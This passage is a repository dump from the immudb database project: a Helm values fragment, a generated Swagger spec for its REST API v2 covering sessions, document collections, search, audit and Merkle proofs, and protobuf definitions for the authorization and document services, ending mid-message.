kubernetes.io/ingress.class: nginx # kubernetes.io/tls-acme: "true" hostname: immudb-example.localhost tls: enabled: false secretName: immudb-tls resources: {} # We usually recommend not to specify default resources and to leave this as a conscious # choice for the user. This also increases chances charts run on environments with little # resources, such as Minikube. If you do want to specify resources, uncomment the following # lines, adjust them as necessary, and remove the curly braces after 'resources:'. # limits: # cpu: 100m # memory: 128Mi # requests: # cpu: 100m # memory: 128Mi nodeSelector: {} tolerations: [] affinity: {} # We can now use a subdirectory inside the volume so that if you are mounting volumes # that have a `/lost+found` directory (i.e., ext4), immudb don't get confused assuming that # is a database. Enable this in case you are using a ext4 block-based volume provider, # like DigitalOcean or EBS. Disable if you already have some data in the volume root. volumeSubPath: enabled: true # or false path: immudb ================================================ FILE: img/images.MD ================================================ ================================================ FILE: pkg/api/openapi/apidocs.swagger.json ================================================ { "swagger": "2.0", "info": { "title": "immudb REST API v2", "description": "Authorization API", "version": "version not set" }, "basePath": "/api/v2", "consumes": [ "application/json" ], "produces": [ "application/json" ], "paths": { "/authorization/session/close": { "post": { "operationId": "CloseSession", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelCloseSessionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelCloseSessionRequest" } } ], "tags": [ "authorization" ] } }, "/authorization/session/keepalive": { "post": { "operationId": "KeepAlive", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelKeepAliveResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelKeepAliveRequest" } } ], "tags": [ "authorization" ] } }, "/authorization/session/open": { "post": { "operationId": "OpenSession", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/immudbmodelOpenSessionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/immudbmodelOpenSessionRequest" } } ], "tags": [ "authorization" ], "security": [] } }, "/collection/documents/search/{searchId}": { "post": { "operationId": "SearchDocuments2", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelSearchDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "searchId", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelSearchDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/document/{documentId}/audit": { "post": { "operationId": "AuditDocument", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelAuditDocumentResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "documentId", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelAuditDocumentRequest" } } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/document/{documentId}/proof": { "post": { "operationId": "ProofDocument", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelProofDocumentResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "documentId", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelProofDocumentRequest" } } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/documents": { "post": { "operationId": "InsertDocuments", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelInsertDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelInsertDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/field": { "post": { "operationId": "AddField", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelAddFieldResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelAddFieldRequest" } } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/field/{fieldName}": { "delete": { "operationId": "RemoveField", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelRemoveFieldResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "fieldName", "in": "path", "required": true, "type": "string" } ], "tags": [ "documents" ] } }, "/collection/{collectionName}/index": { "delete": { "operationId": "DeleteIndex", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelDeleteIndexResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "fields", "in": "query", "required": false, "type": "array", "items": { "type": "string" }, "collectionFormat": "multi" } ], "tags": [ "documents" ] }, "post": { "operationId": "CreateIndex", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelCreateIndexResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelCreateIndexRequest" } } ], "tags": [ "documents" ] } }, "/collection/{name}": { "get": { "operationId": "GetCollection", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelGetCollectionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "name", "in": "path", "required": true, "type": "string" } ], "tags": [ "documents" ] }, "delete": { "operationId": "DeleteCollection", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelDeleteCollectionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "name", "in": "path", "required": true, "type": "string" } ], "tags": [ "documents" ] }, "post": { "operationId": "CreateCollection", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelCreateCollectionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "name", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelCreateCollectionRequest" } } ], "tags": [ "documents" ] }, "put": { "operationId": "UpdateCollection", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelUpdateCollectionResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "name", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelUpdateCollectionRequest" } } ], "tags": [ "documents" ] } }, "/collection/{query.collectionName}/documents/count": { "post": { "operationId": "CountDocuments", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelCountDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "query.collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelCountDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collection/{query.collectionName}/documents/delete": { "post": { "operationId": "DeleteDocuments", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelDeleteDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "query.collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelDeleteDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collection/{query.collectionName}/documents/replace": { "put": { "operationId": "ReplaceDocuments", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelReplaceDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "query.collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelReplaceDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collection/{query.collectionName}/documents/search": { "post": { "operationId": "SearchDocuments", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelSearchDocumentsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "query.collectionName", "in": "path", "required": true, "type": "string" }, { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/modelSearchDocumentsRequest" } } ], "tags": [ "documents" ] } }, "/collections": { "get": { "operationId": "GetCollections", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/modelGetCollectionsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "documents" ] } } }, "definitions": { "immudbmodelOpenSessionRequest": { "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" }, "database": { "type": "string" } } }, "immudbmodelOpenSessionResponse": { "type": "object", "properties": { "sessionID": { "type": "string" }, "serverUUID": { "type": "string" }, "expirationTimestamp": { "type": "integer", "format": "int32" }, "inactivityTimestamp": { "type": "integer", "format": "int32" } } }, "modelAddFieldRequest": { "type": "object", "properties": { "collectionName": { "type": "string" }, "field": { "$ref": "#/definitions/modelField" } }, "required": [ "collectionName", "field" ] }, "modelAddFieldResponse": { "type": "object" }, "modelAuditDocumentRequest": { "type": "object", "properties": { "collectionName": { "type": "string" }, "documentId": { "type": "string" }, "desc": { "type": "boolean" }, "page": { "type": "integer", "format": "int64" }, "pageSize": { "type": "integer", "format": "int64" }, "omitPayload": { "type": "boolean" } }, "required": [ "collectionName", "documentId", "desc", "page", "pageSize", "omitPayload" ] }, "modelAuditDocumentResponse": { "type": "object", "properties": { "revisions": { "type": "array", "items": { "$ref": "#/definitions/modelDocumentAtRevision" } } }, "required": [ "revisions" ] }, "modelCloseSessionRequest": { "type": "object" }, "modelCloseSessionResponse": { "type": "object" }, "modelCollection": { "type": "object", "properties": { "name": { "type": "string" }, "documentIdFieldName": { "type": "string" }, "fields": { "type": "array", "items": { "$ref": "#/definitions/modelField" } }, "indexes": { "type": "array", "items": { "$ref": "#/definitions/modelIndex" } } }, "required": [ "name", "documentIdFieldName", "fields", "indexes" ] }, "modelComparisonOperator": { "type": "string", "enum": [ "EQ", "NE", "LT", "LE", "GT", "GE", "LIKE", "NOT_LIKE" ], "default": "EQ" }, "modelCountDocumentsRequest": { "type": "object", "properties": { "query": { "$ref": "#/definitions/modelQuery" } }, "required": [ "query" ] }, "modelCountDocumentsResponse": { "type": "object", "properties": { "count": { "type": "string", "format": "int64" } }, "required": [ "count" ] }, "modelCreateCollectionRequest": { "type": "object", "properties": { "name": { "type": "string" }, "documentIdFieldName": { "type": "string" }, "fields": { "type": "array", "items": { "$ref": "#/definitions/modelField" } }, "indexes": { "type": "array", "items": { "$ref": "#/definitions/modelIndex" } } }, "required": [ "name", "documentIdFieldName" ] }, "modelCreateCollectionResponse": { "type": "object" }, "modelCreateIndexRequest": { "type": "object", "properties": { "collectionName": { "type": "string" }, "fields": { "type": "array", "items": { "type": "string" } }, "isUnique": { "type": "boolean" } }, "required": [ "collectionName", "fields", "isUnique" ] }, "modelCreateIndexResponse": { "type": "object" }, "modelDeleteCollectionResponse": { "type": "object" }, "modelDeleteDocumentsRequest": { "type": "object", "properties": { "query": { "$ref": "#/definitions/modelQuery" } }, "required": [ "query" ] }, "modelDeleteDocumentsResponse": { "type": "object" }, "modelDeleteIndexResponse": { "type": "object" }, "modelDocumentAtRevision": { "type": "object", "properties": { "transactionId": { "type": "string", "format": "uint64" }, "documentId": { "type": "string" }, "revision": { "type": "string", "format": "uint64" }, "metadata": { "$ref": "#/definitions/modelDocumentMetadata" }, "document": { "type": "object" }, "username": { "type": "string" }, "ts": { "type": "string", "format": "int64" } }, "required": [ "transactionId", "documentId", "revision" ] }, "modelDocumentMetadata": { "type": "object", "properties": { "deleted": { "type": "boolean" } }, "required": [ "deleted" ] }, "modelField": { "type": "object", "properties": { "name": { "type": "string" }, "type": { "$ref": "#/definitions/modelFieldType" } }, "required": [ "name", "type" ] }, "modelFieldComparison": { "type": "object", "properties": { "field": { "type": "string" }, "operator": { "$ref": "#/definitions/modelComparisonOperator" }, "value": { "type": "object" } }, "required": [ "field", "operator", "value" ] }, "modelFieldType": { "type": "string", "enum": [ "STRING", "BOOLEAN", "INTEGER", "DOUBLE", "UUID" ], "default": "STRING" }, "modelGetCollectionResponse": { "type": "object", "properties": { "collection": { "$ref": "#/definitions/modelCollection" } }, "required": [ "collection" ] }, "modelGetCollectionsResponse": { "type": "object", "properties": { "collections": { "type": "array", "items": { "$ref": "#/definitions/modelCollection" } } }, "required": [ "collections" ] }, "modelIndex": { "type": "object", "properties": { "fields": { "type": "array", "items": { "type": "string" } }, "isUnique": { "type": "boolean" } }, "required": [ "fields", "isUnique" ] }, "modelInsertDocumentsRequest": { "type": "object", "properties": { "collectionName": { "type": "string" }, "documents": { "type": "array", "items": { "type": "object" } } }, "required": [ "collectionName", "documents" ] }, "modelInsertDocumentsResponse": { "type": "object", "properties": { "transactionId": { "type": "string", "format": "uint64" }, "documentIds": { "type": "array", "items": { "type": "string" } } }, "required": [ "transactionId", "documentIds" ] }, "modelKeepAliveRequest": { "type": "object" }, "modelKeepAliveResponse": { "type": "object" }, "modelOrderByClause": { "type": "object", "properties": { "field": { "type": "string" }, "desc": { "type": "boolean" } }, "required": [ "field", "desc" ] }, "modelProofDocumentRequest": { "type": "object", "properties": { "collectionName": { "type": "string" }, "documentId": { "type": "string" }, "transactionId": { "type": "string", "format": "uint64" }, "proofSinceTransactionId": { "type": "string", "format": "uint64" } }, "required": [ "collectionName", "documentId", "transactionId", "proofSinceTransactionId" ] }, "modelProofDocumentResponse": { "type": "object", "properties": { "database": { "type": "string" }, "collectionId": { "type": "integer", "format": "int64" }, "documentIdFieldName": { "type": "string" }, "encodedDocument": { "type": "string", "format": "byte" }, "verifiableTx": { "$ref": "#/definitions/schemaVerifiableTxV2" } }, "required": [ "database", "collectionId", "documentIdFieldName", "encodedDocument", "verifiableTx" ] }, "modelQuery": { "type": "object", "properties": { "collectionName": { "type": "string" }, "expressions": { "type": "array", "items": { "$ref": "#/definitions/modelQueryExpression" } }, "orderBy": { "type": "array", "items": { "$ref": "#/definitions/modelOrderByClause" } }, "limit": { "type": "integer", "format": "int64" } }, "required": [ "collectionName", "expressions" ] }, "modelQueryExpression": { "type": "object", "properties": { "fieldComparisons": { "type": "array", "items": { "$ref": "#/definitions/modelFieldComparison" } } }, "required": [ "fieldComparisons" ] }, "modelRemoveFieldResponse": { "type": "object" }, "modelReplaceDocumentsRequest": { "type": "object", "properties": { "query": { "$ref": "#/definitions/modelQuery" }, "document": { "type": "object" } }, "required": [ "query", "document" ] }, "modelReplaceDocumentsResponse": { "type": "object", "properties": { "revisions": { "type": "array", "items": { "$ref": "#/definitions/modelDocumentAtRevision" } } }, "required": [ "revisions" ] }, "modelSearchDocumentsRequest": { "type": "object", "properties": { "searchId": { "type": "string" }, "query": { "$ref": "#/definitions/modelQuery" }, "page": { "type": "integer", "format": "int64" }, "pageSize": { "type": "integer", "format": "int64" }, "keepOpen": { "type": "boolean" } }, "required": [ "searchId", "query", "page", "pageSize" ] }, "modelSearchDocumentsResponse": { "type": "object", "properties": { "searchId": { "type": "string" }, "revisions": { "type": "array", "items": { "$ref": "#/definitions/modelDocumentAtRevision" } } }, "required": [ "searchId", "revisions" ] }, "modelUpdateCollectionRequest": { "type": "object", "properties": { "name": { "type": "string" }, "documentIdFieldName": { "type": "string" } }, "required": [ "name", "documentIdFieldName" ] }, "modelUpdateCollectionResponse": { "type": "object" }, "protobufAny": { "type": "object", "properties": { "type_url": { "type": "string", "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." }, "value": { "type": "string", "format": "byte", "description": "Must be a valid serialized protocol buffer of the above specified type." } }, "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", "enum": [ "NULL_VALUE" ], "default": "NULL_VALUE", "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." }, "runtimeError": { "type": "object", "properties": { "error": { "type": "string" }, "code": { "type": "integer", "format": "int32" }, "message": { "type": "string" }, "details": { "type": "array", "items": { "$ref": "#/definitions/protobufAny" } } } }, "schemaDualProofV2": { "type": "object", "properties": { "sourceTxHeader": { "$ref": "#/definitions/schemaTxHeader", "title": "Header of the source (earlier) transaction" }, "targetTxHeader": { "$ref": "#/definitions/schemaTxHeader", "title": "Header of the target (latter) transaction" }, "inclusionProof": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" }, "consistencyProof": { "type": "array", "items": { "type": "string", "format": "byte" }, "title": "Consistency proof between Merkle Trees in the source and target transactions" } }, "title": "DualProofV2 contains inclusion and consistency proofs" }, "schemaEntry": { "type": "object", "properties": { "tx": { "type": "string", "format": "uint64", "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" }, "key": { "type": "string", "format": "byte", "title": "Key of the target value (i.e. not the reference entry)" }, "value": { "type": "string", "format": "byte", "title": "Value" }, "referencedBy": { "$ref": "#/definitions/schemaReference", "title": "If the request was for a reference, this field will keep information about the reference entry" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Metadata of the target entry (i.e. not the reference entry)" }, "expired": { "type": "boolean", "title": "If set to true, this entry has expired and the value is not retrieved" }, "revision": { "type": "string", "format": "uint64", "title": "Key's revision, in case of GetAt it will be 0" } } }, "schemaExpiration": { "type": "object", "properties": { "expiresAt": { "type": "string", "format": "int64", "title": "Entry expiration time (unix timestamp in seconds)" } } }, "schemaKVMetadata": { "type": "object", "properties": { "deleted": { "type": "boolean", "title": "True if this entry denotes a logical deletion" }, "expiration": { "$ref": "#/definitions/schemaExpiration", "title": "Entry expiration information" }, "nonIndexable": { "type": "boolean", "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" } } }, "schemaReference": { "type": "object", "properties": { "tx": { "type": "string", "format": "uint64", "title": "Transaction if when the reference key was set" }, "key": { "type": "string", "format": "byte", "title": "Reference key" }, "atTx": { "type": "string", "format": "uint64", "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Metadata of the reference entry" }, "revision": { "type": "string", "format": "uint64", "title": "Revision of the reference entry" } } }, "schemaSignature": { "type": "object", "properties": { "publicKey": { "type": "string", "format": "byte" }, "signature": { "type": "string", "format": "byte" } } }, "schemaTx": { "type": "object", "properties": { "header": { "$ref": "#/definitions/schemaTxHeader", "title": "Transaction header" }, "entries": { "type": "array", "items": { "$ref": "#/definitions/schemaTxEntry" }, "title": "Raw entry values" }, "kvEntries": { "type": "array", "items": { "$ref": "#/definitions/schemaEntry" }, "title": "KV entries in the transaction (parsed)" }, "zEntries": { "type": "array", "items": { "$ref": "#/definitions/schemaZEntry" }, "title": "Sorted Set entries in the transaction (parsed)" } } }, "schemaTxEntry": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "Raw key value (contains 1-byte prefix for kind of the key)" }, "hValue": { "type": "string", "format": "byte", "title": "Value hash" }, "vLen": { "type": "integer", "format": "int32", "title": "Value length" }, "metadata": { "$ref": "#/definitions/schemaKVMetadata", "title": "Entry metadata" }, "value": { "type": "string", "format": "byte", "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." } } }, "schemaTxHeader": { "type": "object", "properties": { "id": { "type": "string", "format": "uint64", "title": "Transaction ID" }, "prevAlh": { "type": "string", "format": "byte", "title": "State value (Accumulative Hash - Alh) of the previous transaction" }, "ts": { "type": "string", "format": "int64", "title": "Unix timestamp of the transaction (in seconds)" }, "nentries": { "type": "integer", "format": "int32", "title": "Number of entries in a transaction" }, "eH": { "type": "string", "format": "byte", "title": "Entries Hash - cumulative hash of all entries in the transaction" }, "blTxId": { "type": "string", "format": "uint64", "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" }, "blRoot": { "type": "string", "format": "byte", "title": "Binary linking tree root (Root hash of the Merkle Tree)" }, "version": { "type": "integer", "format": "int32", "title": "Header version" }, "metadata": { "$ref": "#/definitions/schemaTxMetadata", "title": "Transaction metadata" } } }, "schemaTxMetadata": { "type": "object", "properties": { "truncatedTxID": { "type": "string", "format": "uint64", "title": "Entry expiration information" }, "extra": { "type": "string", "format": "byte", "title": "Extra data" } }, "title": "TxMetadata contains metadata set to whole transaction" }, "schemaVerifiableTxV2": { "type": "object", "properties": { "tx": { "$ref": "#/definitions/schemaTx", "title": "Transaction to verify" }, "dualProof": { "$ref": "#/definitions/schemaDualProofV2", "title": "Proof for the transaction" }, "signature": { "$ref": "#/definitions/schemaSignature", "title": "Signature for the new state value" } } }, "schemaZEntry": { "type": "object", "properties": { "set": { "type": "string", "format": "byte", "title": "Name of the sorted set" }, "key": { "type": "string", "format": "byte", "title": "Referenced key" }, "entry": { "$ref": "#/definitions/schemaEntry", "title": "Referenced entry" }, "score": { "type": "number", "format": "double", "title": "Sorted set element's score" }, "atTx": { "type": "string", "format": "uint64", "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" } } } }, "securityDefinitions": { "ApiKeyAuth": { "type": "apiKey", "description": "Session Identifier", "name": "sessionid", "in": "header" } }, "security": [ { "ApiKeyAuth": [] } ] } ================================================ FILE: pkg/api/proto/authorization.proto ================================================ /* Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ syntax = "proto3"; package immudb.model; import "google/api/annotations.proto"; import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/protomodel"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { title: "immudb REST API v2"; description: "Authorization API" }; security_definitions: { security: { key: "ApiKeyAuth" value: { type: TYPE_API_KEY in: IN_HEADER name: "sessionid" description: "Session Identifier" } } } security: { security_requirement: { key: "ApiKeyAuth" } } }; message OpenSessionRequest { string username = 1; string password = 2; string database = 3; } message OpenSessionResponse { string sessionID = 1; string serverUUID = 2; int32 expirationTimestamp = 3; int32 inactivityTimestamp = 4; } message KeepAliveRequest {} message KeepAliveResponse {} message CloseSessionRequest {} message CloseSessionResponse {} service AuthorizationService { rpc OpenSession(OpenSessionRequest) returns (OpenSessionResponse) { option (google.api.http) = { post: "/authorization/session/open" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { security: {} // no security tags: "authorization"; }; } rpc KeepAlive(KeepAliveRequest) returns (KeepAliveResponse) { option (google.api.http) = { post: "/authorization/session/keepalive" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "authorization"; }; } rpc CloseSession(CloseSessionRequest) returns (CloseSessionResponse) { option (google.api.http) = { post: "/authorization/session/close" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "authorization"; }; } } ================================================ FILE: pkg/api/proto/documents.proto ================================================ /* Copyright 2023 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ syntax = "proto3"; package immudb.model; import "google/api/annotations.proto"; import "google/protobuf/struct.proto"; import "protoc-gen-swagger/options/annotations.proto"; import "schema.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/protomodel"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { title: "immudb REST API v2"; description: "Document Storage API" }; security_definitions: { security: { key: "ApiKeyAuth" value: { type: TYPE_API_KEY in: IN_HEADER name: "sessionid" description: "Session Identifier" } } } security: { security_requirement: { key: "ApiKeyAuth" } } }; message CreateCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name", "documentIdFieldName" ] } }; string name = 1; string documentIdFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } message CreateCollectionResponse {} message Field { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name", "type" ] } }; string name = 1; FieldType type = 2; } enum FieldType { STRING = 0; BOOLEAN = 1; INTEGER = 2; DOUBLE = 3; UUID = 4; } message Index { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "fields", "isUnique" ] } }; repeated string fields = 1; bool isUnique = 2; } message GetCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name" ] } }; string name = 1; } message GetCollectionResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collection" ] } }; Collection collection = 1; } message Collection { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name", "documentIdFieldName", "fields", "indexes" ] } }; string name = 1; string documentIdFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } message GetCollectionsRequest {} message GetCollectionsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collections" ] } }; repeated Collection collections = 1; } message DeleteCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name" ] } }; string name = 1; } message DeleteCollectionResponse {} message UpdateCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "name", "documentIdFieldName" ] } 